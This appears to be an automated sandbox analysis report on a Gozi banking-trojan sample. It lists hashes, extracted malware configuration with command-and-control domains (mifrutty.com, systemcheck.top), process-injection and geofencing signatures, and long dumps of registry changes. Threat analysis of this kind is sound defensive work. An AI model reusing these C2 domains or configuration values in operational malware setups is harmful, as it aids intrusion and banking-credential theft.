Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
06-10-2023 08:12
Static task
static1
Behavioral task
behavioral1
Sample
9872c3c580e8bd1a22cd4698e73e3f9a.exe
Resource
win7-20230831-en
General
-
Target
9872c3c580e8bd1a22cd4698e73e3f9a.exe
-
Size
292KB
-
MD5
9872c3c580e8bd1a22cd4698e73e3f9a
-
SHA1
396576ffc8211cca1e4509e29f29e74883c626d2
-
SHA256
122742e0a532636207c9bc6f0ae44e45c5bd1df87cb5a1aa475f7fbdb0cc521f
-
SHA512
34d7cd28bd24988c41b05911fa210f52a3f53a9106ea06e9edbc5f27e8cfeae50fb22cc3c5fa796e9514752e3b0f4c7733cb8942ce9686774b2b7b7dac1bea9d
-
SSDEEP
3072:zXTH4bYS/eQDmXepeDNbuSTTNG9AMY8q4LCvr4Uot:roYQeQEepeZTNG+MTasUo
Malware Config
Extracted
gozi
Extracted
gozi
5050
mifrutty.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Extracted
gozi
5050
mifrutty.com
systemcheck.top
-
base_path
/pictures/
-
build
250260
-
exe_type
worker
-
extension
.bob
-
server_id
50
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exedescription pid process target process PID 4068 set thread context of 3156 4068 powershell.exe Explorer.EXE PID 3156 set thread context of 3732 3156 Explorer.EXE RuntimeBroker.exe PID 3156 set thread context of 3964 3156 Explorer.EXE RuntimeBroker.exe PID 3156 set thread context of 1884 3156 Explorer.EXE RuntimeBroker.exe PID 3156 set thread context of 2984 3156 Explorer.EXE RuntimeBroker.exe PID 3156 set thread context of 5084 3156 Explorer.EXE cmd.exe PID 3156 set thread context of 380 3156 Explorer.EXE cmd.exe PID 5084 set thread context of 5076 5084 cmd.exe PING.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1384 2992 WerFault.exe 9872c3c580e8bd1a22cd4698e73e3f9a.exe -
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d5bfb9b-0b75-48cd-b4 = 262db30d2df8d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b02c8093-06bb-47a0-ae = 3dbdc80d2df8d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b02c8093-06bb-47a0-ae = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000092c3bc0d2df8d90192c3bc0d2df8d90192c3bc0d2df8d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657bd412000643663353638666462336537623634323532336130323435333430343165326361353231366133323833353066393162306139643362393239663832396362360000b20009000400efbe4657bd414657bd412e000000000000000000000000000000000000000000000000006ea37c00640036006300350036003800660064006200330065003700620036003400320035003200330061003000320034003500330034003000340031006500320063006100350032003100360061003300320038003300350030006600390031006200300061003900640033006200390032003900660038003200390063006200360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000004af29fc11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64366335363866646233653762363432353233613032343533343034316532636135323136613332383335306639316230613964336239323966383239636236000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006f787771646b7376000000000000000082671612f74e484cb69989136ee22c09e4c25fe39553ee11a4ad7257cd168fac82671612f74e484cb69989136ee22c09e4c25fe39553ee11a4ad7257cd168facca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003300340034003600380038003000310033002d0032003900360035003400360038003700310037002d0032003000330034003100320036002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d5202569000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1a66febb-f7cc-4e18-b3 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6f43eaa9-f5c6-4787-af = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1da4e040-523e-412a-b3 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0263d1d5-90c6-46c0-83 = "\\\\?\\Volume{692520D5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\72610bd0e2a203e614400d4b3fecc4dbd7e7e3c5384a235504ab541cc7c786a3" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a6483a38-a729-43e0-91 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0263d1d5-90c6-46c0-83 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\53a7cf6f-0852-4e4b-85 = 4972bc0e2df8d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\53a7cf6f-0852-4e4b-85 = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b02c8093-06bb-47a0-ae RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1a66febb-f7cc-4e18-b3 = 64d79b0e2df8d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1da4e040-523e-412a-b3 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000e838b30d2df8d901e838b30d2df8d901e838b30d2df8d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657bd412000666632633434333963376262613235646162623738613166306165366431343633383566643261353732346331616262333238626361316465326166613239340000b20009000400efbe4657bd414657bd412e00000000000000000000000000000000000000000000000000182e8600660066003200630034003400330039006300370062006200610032003500640061006200620037003800610031006600300061006500360064003100340036003300380035006600640032006100350037003200340063003100610062006200330032003800620063006100310064006500320061006600610032003900340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000004af29fc11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c66663263343433396337626261323564616262373861316630616536643134363338356664326135373234633161626233323862636131646532616661323934000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006f787771646b7376000000000000000082671612f74e484cb69989136ee22c09e3c25fe39553ee11a4ad7257cd168fac82671612f74e484cb69989136ee22c09e3c25fe39553ee11a4ad7257cd168facca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003300340034003600380038003000310033002d0032003900360035003400360038003700310037002d0032003000330034003100320036002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d5202569000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\53a7cf6f-0852-4e4b-85 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\53a7cf6f-0852-4e4b-85 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\53a7cf6f-0852-4e4b-85 = "\\\\?\\Volume{692520D5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\4a2e49ad388d510f1f4d65907df4923e340082e2acfb5190e9df12b1c10a695a" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\53a7cf6f-0852-4e4b-85 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000f85e360e2df8d901dc09660e2df8d901dc09660e2df8d901788d07000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657bd412000346132653439616433383864353130663166346436353930376466343932336533343030383265326163666235313930653964663132623163313061363935610000b20009000400efbe4657bd414657bd412e0000000000000000000000000000000000000000000000000042b58f00340061003200650034003900610064003300380038006400350031003000660031006600340064003600350039003000370064006600340039003200330065003300340030003000380032006500320061006300660062003500310039003000650039006400660031003200620031006300310030006100360039003500610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000004af29fc11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c34613265343961643338386435313066316634643635393037646634393233653334303038326532616366623531393065396466313262316331306136393561000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006f787771646b7376000000000000000082671612f74e484cb69989136ee22c09e8c25fe39553ee11a4ad7257cd168fac82671612f74e484cb69989136ee22c09e8c25fe39553ee11a4ad7257cd168facca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003300340034003600380038003000310033002d0032003900360035003400360038003700310037002d0032003000330034003100320036002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d5202569000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a6483a38-a729-43e0-91 = cf3d8d0d2df8d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a6483a38-a729-43e0-91 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a6483a38-a729-43e0-91 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000554e880d2df8d901554e880d2df8d901554e880d2df8d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657bd412000613831623336643965386532646632316230616437316662346631633065653838363538633735343332623438646235633134666430653237373637626164340000b20009000400efbe4657bd414657bd412e00000000000000000000000000000000000000000000000000ab18b100610038003100620033003600640039006500380065003200640066003200310062003000610064003700310066006200340066003100630030006500650038003800360035003800630037003500340033003200620034003800640062003500630031003400660064003000650032003700370036003700620061006400340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000004af29fc11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c61383162333664396538653264663231623061643731666234663163306565383836353863373534333262343864623563313466643065323737363762616434000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006f787771646b7376000000000000000082671612f74e484cb69989136ee22c09dfc25fe39553ee11a4ad7257cd168fac82671612f74e484cb69989136ee22c09dfc25fe39553ee11a4ad7257cd168facca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003300340034003600380038003000310033002d0032003900360035003400360038003700310037002d0032003000330034003100320036002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d5202569000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\752175cb-f577-4738-8a RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\752175cb-f577-4738-8a = 7675990d2df8d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1da4e040-523e-412a-b3 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1da4e040-523e-412a-b3 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b02c8093-06bb-47a0-ae = "\\\\?\\Volume{692520D5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\d6c568fdb3e7b642523a024534041e2ca5216a328350f91b0a9d3b929f829cb6" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a6483a38-a729-43e0-91 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\752175cb-f577-4738-8a = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000edd8910d2df8d901edd8910d2df8d901edd8910d2df8d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657bd412000373236313062643065326132303365363134343030643462336665636334646264376537653363353338346132333535303461623534316363376337383661330000b20009000400efbe4657bd414657bd412e00000000000000000000000000000000000000000000000000138ea700370032003600310030006200640030006500320061003200300033006500360031003400340030003000640034006200330066006500630063003400640062006400370065003700650033006300350033003800340061003200330035003500300034006100620035003400310063006300370063003700380036006100330000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000004af29fc11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37323631306264306532613230336536313434303064346233666563633464626437653765336335333834613233353530346162353431636337633738366133000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006f787771646b7376000000000000000082671612f74e484cb69989136ee22c09e0c25fe39553ee11a4ad7257cd168fac82671612f74e484cb69989136ee22c09e0c25fe39553ee11a4ad7257cd168facca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003300340034003600380038003000310033002d0032003900360035003400360038003700310037002d0032003000330034003100320036002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d5202569000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d5bfb9b-0b75-48cd-b4 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b02c8093-06bb-47a0-ae = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (int) 